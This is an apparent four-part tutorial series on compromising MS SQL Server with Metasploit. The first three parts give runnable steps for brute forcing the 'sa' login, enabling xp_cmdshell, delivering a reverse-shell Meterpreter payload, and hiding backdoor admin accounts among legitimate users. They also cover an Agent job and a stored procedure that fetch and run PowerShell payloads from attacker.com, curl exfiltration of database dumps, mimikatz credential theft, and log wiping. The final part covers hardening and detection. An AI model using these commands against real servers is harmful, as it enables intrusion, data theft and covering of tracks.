Hacking MS SQL Server: A Metasploit Tutorial for Speed and Precision
Microsoft SQL Server (MS SQL Server) remains one of the most widely used relational database management systems globally. Many enterprises rely on it to manage critical business data, making it an attractive target for attackers. Gaining unauthorized access to an MS SQL Server can provide an attacker with the ability to extract sensitive information, disrupt business operations, or even pivot to other systems in the network.
Penetration testers and security researchers often leverage powerful tools like the Metasploit Framework to simulate attacks against MS SQL Server, allowing them to identify and fix vulnerabilities before malicious actors exploit them. This article is the first step in a comprehensive tutorial series aimed at teaching how to exploit MS SQL Server vulnerabilities with Metasploit quickly and effectively.
Before jumping into hands-on exploitation, it is essential to understand the common vulnerabilities found in MS SQL Server, how attackers identify those weaknesses, and how to set up a safe lab environment for practicing these techniques.
MS SQL Server is a robust database platform with many features, including advanced security mechanisms. However, like any software, it is not immune to vulnerabilities. Many attacks on MS SQL Server are a result of misconfigurations, poor security practices, or outdated software.
The primary vectors attackers use include brute forcing credentials, exploiting authentication bypass vulnerabilities, leveraging SQL injection on connected applications, and abusing dangerous features like xp_cmdshell. Once inside, attackers can extract sensitive data, create new users, and potentially compromise the host system.
Metasploit is a widely used penetration testing platform that includes a vast collection of exploits, auxiliary modules, and payloads for various targets, including MS SQL Server. It streamlines the process of launching attacks by providing an easy-to-use command interface and pre-built modules that target specific vulnerabilities.
Metasploit allows users to combine these modules to perform efficient penetration tests, from initial reconnaissance to full compromise.
Before attempting any exploitation on live systems, it is critical to create a controlled lab environment where you can safely practice without risking real data or systems. This setup typically involves using virtualization technology to run an MS SQL Server instance and an attacking machine with Metasploit installed.
The initial phase of any penetration test involves gathering information about the target. This includes identifying open ports, running services, and available credentials. Metasploit offers auxiliary scanner modules to perform these tasks efficiently.
A good starting point is to scan the target IP with Nmap or Metasploit’s auxiliary modules to identify if MS SQL Server is running and which version is in use.
Example Nmap commands:
css
CopyEdit
nmap -p 1433 –script ms-sql-info <target-ip>
nmap -p 1433 –script ms-sql-brute <target-ip>
These commands attempt to gather information from MS SQL Server and perform brute force attacks against login credentials using default or weak passwords.
Metasploit includes scanner modules such as:
These tools help build a detailed picture of the target’s configuration and potential attack vectors.
In this first part of the tutorial series, we covered the essential background needed to exploit MS SQL Server with Metasploit effectively. Understanding common vulnerabilities like weak passwords, exposed ports, and dangerous features is the foundation for successful exploitation.
We also discussed how to prepare a safe lab environment, including setting up vulnerable MS SQL Server instances and configuring the Metasploit framework on an attacker machine. Finally, reconnaissance techniques using Metasploit and complementary tools were introduced to help identify and assess potential targets.
In the next part, we will dive into the practical exploitation of MS SQL Server using Metasploit modules, focusing on credential harvesting and initial access methods to compromise the database server quickly and precisely.
Having laid the groundwork by understanding MS SQL Server vulnerabilities and setting up a lab environment in Part 1, this article takes a hands-on approach. We will explore how to use the Metasploit Framework to exploit MS SQL Server through credential harvesting and gaining initial access. The goal is to demonstrate fast and precise exploitation techniques while emphasizing practical steps and commands.
MS SQL Server’s security heavily depends on strong authentication and proper configuration. The primary barrier for attackers is valid credentials. Without these, attackers often turn to brute forcing or exploiting authentication bypass vulnerabilities. Once credentials are obtained, the attacker can connect to the database and execute malicious commands or escalate privileges.
Weak passwords are a prevalent vulnerability in MS SQL Server deployments. Organizations often neglect to change default passwords or enforce complex password policies, making brute force and dictionary attacks a reliable entry method.
Additionally, some servers expose the SQL Server Browser service on UDP port 1434, which can leak instance information and aid attackers in mapping targets.
Metasploit provides several auxiliary modules to scan for MS SQL Server instances and attempt login via brute force or credential stuffing attacks.
Before launching credential attacks, you need to confirm that MS SQL Server is accessible and identify the version and instances running.
Launch Metasploit by typing:
nginx
CopyEdit
msfconsole
Use the module to ping and discover SQL Server instances:
arduino
CopyEdit
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS <target-ip>
run
This module sends a ping to the target SQL Server instances to check availability and gather basic version information. Knowing the version can help identify vulnerable software or known exploits.
Once the server is identified, attempt to brute force SQL Server authentication using a username and password list.
Use the following Metasploit module:
swift
CopyEdit
use auxiliary/scanner/mssql/mssql_login
set RHOSTS <target-ip>
set USERNAME sa
set PASS_FILE /usr/share/wordlists/rockyou.txt
run
In this example, the username sa (system administrator) is targeted with a popular password list. Adjust USERNAME and PASS_FILE as necessary for your environment.
This module tries each password in the list until it successfully authenticates or exhausts the list. If successful, it reveals valid credentials, providing a foothold into the database server.
If you know usernames from reconnaissance or social engineering, you can try credential stuffing, where commonly used passwords are tested against these accounts.
You can automate this with:
swift
CopyEdit
set USER_FILE /path/to/usernames.txt
set PASS_FILE /usr/share/wordlists/fasttrack.txt
run
This technique increases the chance of access while minimizing unnecessary attempts.
Once valid credentials are obtained, connecting to the MS SQL Server and executing commands is straightforward.
The mssql_exec module allows you to execute arbitrary SQL commands on the server, leveraging valid credentials.
Set up the module:
pgsql
CopyEdit
use auxiliary/admin/mssql/mssql_exec
set RHOSTS <target-ip>
set USERNAME <valid-username>
set PASSWORD <valid-password>
set CMD “whoami”
run
If successful, the module executes the whoami command through SQL Server and returns the output, confirming that you have command execution capabilities.
MS SQL Server has an extended stored procedure called xp_cmdshell that enables execution of arbitrary system commands via SQL queries. This is often disabled by default but can be enabled by administrators, sometimes inadvertently.
To check if xp_cmdshell is enabled, use the following SQL query through the mssql_exec module:
sql
CopyEdit
EXEC sp_configure ‘xp_cmdshell’
If it returns a value indicating it is enabled, you can exploit it to run system commands. For example:
sql
CopyEdit
EXEC xp_cmdshell ‘whoami’
This executes the whoami command on the Windows host, helping you confirm code execution privileges beyond the database.
If xp_cmdshell is disabled but you have sufficient privileges, you can enable it:
sql
CopyEdit
EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;
After this, you can execute system commands, which significantly increases your control over the compromised host.
While credential brute forcing is a common initial access method, Metasploit also includes several exploit modules targeting vulnerabilities in MS SQL Server versions.
This module allows injecting a payload that establishes a Meterpreter session on the host system after successful exploitation.
Steps to use:
pgsql
CopyEdit
use exploit/windows/mssql/mssql_payload
set RHOSTS <target-ip>
set USERNAME <valid-user>
set PASSWORD <valid-password>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker-ip>
set LPORT 4444
run
This module requires valid credentials but can bypass the need for manual command execution by delivering an interactive shell.
Some older MS SQL Server versions have authentication bypass or buffer overflow vulnerabilities that Metasploit modules can exploit without needing valid credentials.
For instance, exploit/windows/mssql/mssql_payload or exploit/windows/mssql/mssql_mkdir modules can be used against vulnerable versions. Always verify the target version and module compatibility using:
pgsql
CopyEdit
show options
And check the module documentation.
After gaining initial access, maintaining control and escalating privileges becomes essential.
To maintain persistence, you can create new SQL Server users with administrative privileges.
Example SQL command executed via mssql_exec:
pgsql
CopyEdit
CREATE LOGIN [hacker] WITH PASSWORD = ‘P@ssw0rd123’;
EXEC sp_addsrvrolemember ‘hacker’, ‘sysadmin’;
This creates a new login with sysadmin rights, allowing future access even if the original credentials are changed.
Metasploit’s mssql_schemadump auxiliary module helps extract the database schema and table data for further analysis.
pgsql
CopyEdit
use auxiliary/scanner/mssql/mssql_schemadump
set RHOSTS <target-ip>
set USERNAME <valid-user>
set PASSWORD <valid-password>
run
The output reveals table names and data, aiding attackers in extracting sensitive information.
Using the Meterpreter session established via payload injection, attackers can pivot from the database server to the underlying host OS.
With Meterpreter, you can execute system commands, download files, upload tools, and escalate privileges further.
Understanding these exploitation methods highlights key defenses:
The second part of the tutorial series demonstrated how Metasploit can be leveraged to quickly harvest credentials and gain initial access to MS SQL Server. Starting from reconnaissance, scanning, brute forcing, to command execution and payload delivery, the framework enables a fast, precise, and repeatable attack method.
In the next part, we will explore advanced post-exploitation techniques, privilege escalation, persistence, and data exfiltration to fully compromise the target environment using Metasploit.
In the previous part, we successfully gained initial access to MS SQL Server using Metasploit by harvesting credentials and exploiting the xp_cmdshell feature for command execution. With the foothold established, the next step is advanced post-exploitation. This phase involves escalating privileges, maintaining persistence, extracting valuable data, and moving laterally within the target environment.
This article delves into those advanced techniques, emphasizing practical steps and Metasploit commands to maintain control over the compromised MS SQL Server and extract maximum value.
Privilege escalation on MS SQL Server means elevating your permissions from a lower-level user to an administrator or sysadmin role, enabling full control over the database server and underlying host.
Begin by checking your current permissions to understand your access level:
pgsql
CopyEdit
use auxiliary/admin/mssql/mssql_query
set RHOSTS <target-ip>
set USERNAME <valid-user>
set PASSWORD <valid-password>
set QUERY “SELECT IS_SRVROLEMEMBER(‘sysadmin’)”
run
A result of 1 means you have sysadmin privileges, while 0 means you do not.
If you don’t have sysadmin rights, attempt to escalate privileges by exploiting misconfigurations.
Certain stored procedures can be abused to escalate privileges. For example, if the current user can execute sp_addsrvrolemember, you may try to add yourself to the sysadmin group:
sql
CopyEdit
EXEC sp_addsrvrolemember ‘<your_username>’, ‘sysadmin’;
Run this command through Metasploit’s mssql_exec module:
pgsql
CopyEdit
use auxiliary/admin/mssql/mssql_exec
set RHOSTS <target-ip>
set USERNAME <valid-user>
set PASSWORD <valid-password>
set CMD “EXEC sp_addsrvrolemember ‘<your_username>’, ‘sysadmin’;”
run
If successful, this command grants you the highest privileges, enabling full control.
Database ownership chaining can sometimes be leveraged to escalate privileges if misconfigured. This is a complex attack and requires detailed knowledge of the target environment’s ownership chains. Attackers can craft SQL commands to exploit these chains and execute commands as dbo.
If you have access to xp_cmdshell but lack sysadmin rights, you can try to escalate at the OS level by executing system commands or running scripts that exploit local vulnerabilities.
For example, execute a PowerShell script to create a new user with administrative privileges on the host:
sql
CopyEdit
EXEC xp_cmdshell ‘net user hacker P@ssw0rd123 /add’
EXEC xp_cmdshell ‘net localgroup administrators hacker /add’
This creates a Windows user hacker with admin rights, providing persistent OS-level access.
Persistence ensures continued access even after reboots or password changes.
As mentioned in the previous article, creating new SQL Server logins with sysadmin rights is a common persistence technique:
pgsql
CopyEdit
CREATE LOGIN [persistuser] WITH PASSWORD = ‘P3rs1st3nt!’;
EXEC sp_addsrvrolemember ‘persistuser’, ‘sysadmin’;
Make sure these accounts are hidden among legitimate users to avoid detection.
MS SQL Server Agent allows scheduling jobs to run commands or scripts periodically. Attackers can create jobs to maintain access or execute payloads automatically.
Create a job with a malicious script:
scss
CopyEdit
EXEC msdb.dbo.sp_add_job @job_name = ‘PersistJob’;
EXEC msdb.dbo.sp_add_jobstep @job_name = ‘PersistJob’, @step_name = ‘Step1’, @subsystem = ‘CmdExec’, @command = ‘powershell -c “Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile C:\payload.ps1; powershell -ExecutionPolicy Bypass -File C:\payload.ps1″‘;
EXEC msdb.dbo.sp_add_jobserver @job_name = ‘PersistJob’;
EXEC msdb.dbo.sp_start_job @job_name = ‘PersistJob’;
This example downloads and executes a PowerShell payload regularly.
Attackers may modify or create stored procedures that execute malicious commands when called by any user, serving as a backdoor.
For instance:
sql
CopyEdit
CREATE PROCEDURE dbo.GetData
AS
BEGIN
EXEC xp_cmdshell ‘powershell -NoProfile -WindowStyle Hidden -EncodedCommand <Base64Payload>’
END
This procedure runs a hidden PowerShell payload each time it is invoked.
Extracting sensitive data from compromised MS SQL Servers is often the ultimate objective. This may include customer records, financial data, or intellectual property.
Using Metasploit’s mssql_schemadump module or custom SQL queries, attackers can enumerate tables and extract data.
Enumerate tables:
pgsql
CopyEdit
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = ‘BASE TABLE’;
Extract data:
pgsql
CopyEdit
SELECT * FROM <table_name>;
Use Metasploit’s scripting capabilities or external tools to export data in bulk.
If the server allows it, attackers can use xp_cmdshell to compress and upload data via FTP or HTTP to remote servers.
Example command to compress database exports and upload:
mathematica
CopyEdit
EXEC xp_cmdshell ‘powershell Compress-Archive -Path C:\data\dump.csv -DestinationPath C:\data\dump.zip’;
EXEC xp_cmdshell ‘curl -T C:\data\dump.zip http://attacker.com/upload’;
Attackers may create backup files (.bak) of entire databases and exfiltrate these for offline analysis.
Example:
nginx
CopyEdit
BACKUP DATABASE <dbname> TO DISK = ‘C:\backup\<dbname>.bak’;
EXEC xp_cmdshell ‘curl -T C:\backup\<dbname>.bak http://attacker.com/upload’;
This approach enables stealing large amounts of data efficiently.
With access to the SQL Server host, attackers often move laterally to other systems.
If a Meterpreter shell was established in previous stages, use built-in tools to scan and pivot:
swift
CopyEdit
run post/windows/gather/credentials/mimikatz
run post/windows/manage/autoroute
This gathers credentials and sets up routes to internal networks unreachable from the attacker’s original point.
MS SQL Server supports linked servers to other databases. Attackers can exploit linked servers to run commands or queries on connected databases, effectively spreading the compromise.
Example:
sql
CopyEdit
EXEC (‘SELECT * FROM sensitive_table’) AT LinkedServerName;
Check for linked servers with:
sql
CopyEdit
EXEC sp_linkedservers;
To avoid detection, attackers often delete logs or restore settings after exploitation.
Disable logging or clear logs:
sql
CopyEdit
EXEC xp_cmdshell ‘wevtutil cl Application’;
EXEC xp_cmdshell ‘wevtutil cl Security’;
Delete created logins and scheduled jobs:
scss
CopyEdit
DROP LOGIN [persistuser];
EXEC msdb.dbo.sp_delete_job @job_name = ‘PersistJob’;
Clearing footprints reduces forensic evidence but increases risk if attackers lose access.
Defenders can harden MS SQL Server by:
This article details advanced post-exploitation techniques using Metasploit to escalate privileges, maintain persistence, exfiltrate data, and pivot within networks via compromised MS SQL Servers. Understanding these tactics equips security professionals to better defend against them.
The final article will focus on remediation strategies, detection mechanisms, and securing MS SQL Server environments against such attacks.
After exploring how attackers exploit MS SQL Server with Metasploit for quick and precise compromises, the final step in the series is understanding how to detect, remediate, and prevent such attacks. Protecting your SQL Server environment requires a layered approach, combining configuration hardening, monitoring, incident response, and ongoing maintenance.
This article covers practical strategies to secure MS SQL Server environments, focusing on minimizing attack surfaces, detecting intrusions early, and responding effectively.
MS SQL Server is a frequent target due to its critical role in many organizations and its potential to expose sensitive data. Common attack vectors include weak or default credentials, enabled but unmonitored features like xp_cmdshell, privilege escalations through misconfigurations, and poor patch management.
Attackers increasingly automate exploitation using frameworks such as Metasploit, underscoring the need for strong defenses and continuous vigilance.
A foundational step in securing any database server is enforcing the principle of least privilege. Ensure users and service accounts have only the minimum permissions necessary to perform their tasks.
Avoid assigning the sysadmin role unless required. Regularly audit role memberships and revoke unnecessary privileges promptly.
Certain SQL Server features are high-risk if misused:
sql
CopyEdit
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 0;
RECONFIGURE;
If disabling is not possible, strictly monitor and log its usage.
sql
CopyEdit
EXEC sp_configure ‘Ole Automation Procedures’, 0;
RECONFIGURE;
Use Windows Authentication (integrated security) wherever possible instead of SQL Server Authentication. Windows Authentication leverages Active Directory and provides stronger security mechanisms.
When SQL Authentication is necessary, enforce strong password policies and rotate passwords regularly.
Encrypt sensitive data both at rest and in transit:
Apply security patches and updates promptly. Microsoft regularly releases updates to address vulnerabilities in SQL Server that attackers can exploit.
Configure SQL Server Audit to track critical actions such as login attempts, permission changes, and execution of stored procedures like xp_cmdshell. Collect and analyze audit logs centrally.
For example, configure an audit to monitor the execution of xp_cmdshell:
pgsql
CopyEdit
CREATE SERVER AUDIT Audit_xp_cmdshell
TO FILE (FILEPATH = ‘C:\SQLAudit\’);
ALTER SERVER AUDIT Audit_xp_cmdshell WITH (STATE = ON);
CREATE SERVER AUDIT SPECIFICATION Audit_xp_cmdshell_spec
FOR SERVER AUDIT Audit_xp_cmdshell
ADD (EXECUTE ON OBJECT::xp_cmdshell BY [public]);
ALTER SERVER AUDIT SPECIFICATION Audit_xp_cmdshell_spec WITH (STATE = ON);
Feed SQL Server audit logs into a Security Information and Event Management (SIEM) system to enable real-time alerting on suspicious activity such as repeated failed login attempts, unexpected privilege escalations, or execution of unauthorized commands.
Regularly review SQL Server logins and scheduled jobs to detect unauthorized or suspicious entries. Newly created admin accounts or jobs that execute OS commands should trigger immediate investigation.
Monitor traffic to and from SQL Server instances for unusual patterns, especially large data transfers or connections from unauthorized IPs.
Once suspicious activity is detected:
Attackers often create backdoors such as persistent logins or malicious scheduled jobs. Remove these carefully:
scss
CopyEdit
DROP LOGIN [malicious_login];
EXEC msdb.dbo.sp_delete_job @job_name = ‘MaliciousJob’;
Also, verify that no unauthorized stored procedures or triggers remain.
If the compromise affected data integrity or confidentiality:
Post-incident, review security policies and harden configurations to prevent reoccurrence. This may include patching vulnerabilities, improving monitoring, or revising access controls.
Perform periodic security audits and vulnerability assessments of your SQL Server environment. Use tools that can detect weak configurations, unpatched software, and potential privilege escalations.
Ensure database administrators and security teams are trained on emerging threats, secure configuration best practices, and incident response procedures.
Maintain regular, secure backups of databases and configurations. Test backup restoration to ensure data availability in the event of an attack or failure.
Restrict network access to SQL Servers through firewalls and segment critical servers into protected network zones to minimize exposure.
Ensure applications connecting to SQL Server implement secure coding practices to avoid SQL injection and other attacks that could facilitate database compromise.
With cloud adoption increasing, many organizations use cloud-hosted SQL Server instances. Cloud providers offer native security features such as advanced threat detection and encryption. Leveraging these capabilities alongside traditional best practices strengthens defenses.
Additionally, implementing multi-factor authentication (MFA) for SQL Server access, adopting zero-trust models, and integrating behavioral analytics enhance security posture.
The journey through exploiting MS SQL Server with Metasploit has revealed both the power and the risks embedded in this widely used database platform. Attackers can rapidly leverage misconfigurations, weak credentials, and enabled risky features to gain deep access, often automating much of the process with tools like Metasploit. This makes MS SQL Server a tempting and accessible target.
However, this also means defenders have a clear roadmap to harden their environments effectively. By understanding how exploitation works, security professionals can anticipate attacker techniques and proactively close gaps. Enforcing least privilege, disabling or restricting dangerous features like xp_cmdshell, implementing strong authentication, and maintaining rigorous patch management are foundational steps.
Equally important is continuous monitoring — through auditing, SIEM integration, and network observation — which provides the visibility necessary to detect and respond to threats before they escalate. Incident response plans must be in place to rapidly contain and remediate compromises, minimizing damage.
Security is never a one-time effort but an ongoing process that evolves alongside threats and technologies. As organizations increasingly migrate to cloud environments or adopt new architectures, adapting and layering security controls remains essential. Combining technical defenses with well-trained teams and clear policies creates a resilient defense posture.
In essence, understanding the offensive capabilities of tools like Metasploit empowers defenders to build stronger, smarter defenses around MS SQL Server. Vigilance, preparedness, and continuous improvement are the keys to safeguarding critical data assets in today’s dynamic threat landscape.
Securing MS SQL Server against fast and precise exploitation using tools like Metasploit requires a comprehensive approach. By minimizing attack surfaces, enforcing strict access controls, monitoring for suspicious activities, and preparing for incident response, organizations can significantly reduce risk.
While attackers continue evolving their methods, consistent application of security best practices combined with proactive monitoring and rapid response remains the best defense to protect valuable database assets.